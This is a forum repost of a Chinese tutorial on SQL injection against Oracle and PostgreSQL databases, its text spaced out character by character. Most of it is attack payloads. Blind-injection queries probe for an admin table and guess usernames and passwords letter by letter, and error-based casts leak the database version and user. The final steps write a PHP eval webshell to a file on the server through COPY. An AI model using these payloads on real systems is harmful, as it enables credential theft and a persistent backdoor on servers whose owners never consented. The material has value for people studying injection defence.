搜索

[26] 2019-11-14_web攻防之Oracle注入和pstsgres注入

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-15
2019-11-14_web攻防之Oracle注入和pstsgres注入 w e b 攻 防 之 O r a c l e 注 入 和 p s t s g r e s 注 入 原 创   P 4 s s W 0 r d   7 8 9 0 安 全 攻 防 实 验 室   2 0 1 9 - 1 1 - 1 4
1 ， 数 据 库 介 绍 大 型 的 数 据 库 ， 甲 骨 文 公 司 开 发 ， 政 府 ， 金 融 ， 证 券 等 ， 安 全 要 求 高 特 点 ： 支 持 多 用 户 ， 大 事 务 ， 安 全 和 完 整 性 教 好 ， 支 持 多 分 布 式 数 控 管 理 ， 移 植 性 强 2 ， 数 据 库 的 代 码 分 析 程 序 员 对 用 户 输 入 的 特 殊 字 符 没 有 过 滤 导 致 的 漏 洞 3 ， 注 入 原 理 两 种 方 法 ， 首 先 判 是 否 有 注 入 第 一 种 ， 字 段 长 度 判 断 （ 藏 锋 者 的 书 < < 黑 客 w e b 脚 本 攻 击 与 防 御 技 术 核 心 剖 析 > > o r d e r   b y   3 u n i o n   s e l e c t   ' n u l l '   . n u l l , n u l l   f r o m   a d m i n 挨 个 尝 试 加 单 引 号 尝 试 第 二 种 ， o r d e r   b y   1 就 不 行 了 ， 这 个 时 候 只 能 手 工 爆 账 户 和 密 码 首 先 判 断 了 存 在 注 入 ， 这 个 时 候 我 们 只 能 判 断 有 什 么 表 ？ i d = 9 9   a n d   ( s e l e c t   c o u n t ( * )   f r o m   a d m i n ) < > 0   看 是 否 有 a d m i n 表 ， 尝 试 ？ i d = 9 9   a n d   ( s e l e c t   c o u n t ( u s e r )   f r o m   a d m i n ) < > 0   看 是 否 有 u s e r 列 ， 尝 试 ？ i d = 9 9   a n d   ( s e l e c t   c o u n t ( p w d )   f r o m   a d m i n ) < > 0   看 是 否 有 p w d 列 ， 尝 试 ？ i d = 9 9   a n d   ( s e l e c t   c o u n t （ * ）   f r o m   a d m i n   w h e r e   l e n g t h ( n a m e ) > = 5 ) = 1   , 尝 试 5 的 变 化 ？ i d = 9 9   a n d   ( s e l e c t   c o u n t （ * ）   f r o m   a d m i n   w h e r e   a s c i i ( s u b s t r ( n a m e , 1 , 1 ) ) > = 9 ) = 1 , 说 明 第 一 个 字 母 的 a s c i i 大 于 9 ， 判 断 第 一 个 字 母 的 a s c i i 值 ， 猜 解 用 户 名 和 密 码 利 用 和 天 的 试 验 机 我 们 可 以 操 作 一 下 2 ， p o s t g r e s 数 据 库 的 注 入 首 先 判 断 注 入 是 否 存 在 a n d   1 = 1   a n d   1 = 2 获 取 一 些 信 息 ( 数 据 库 ， 以 及 系 统 内 核 等 ) a n d   1 = c a s t ( v e r s i o n ( )   a s   i n t ) 获 取 用 户 以 及 权 限 a n d   1 = c a s t ( u s e r | | 1 2 3           a s     i n t   ) 创 建 一 个 表 : c r e a t e   t a b l e   x x x ( w   t e x t   n o t   n u l l ) 插 入 一 句 话 木 马 : i n s e r t   i n t o     x x x   v a l u e s ( $ $ < ? p h p   @ e v a l ( $ _ P O S T [ l a z y ] ) ; ? > $ $ ) ; 执 行 上 面 的 一 句 话 木 马 ， 导 出 数 据 : c o p y   x x x ( w )   t o   $ $ / h o m e / . . l a z y . p h p $ $ ; ( 爆 出 的 时 候 出 现 的 路 径 ， l a z y . p h p 自 己 取 得 名 字 ) 访 问 空 白 ， 说 明 写 进 来 了
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理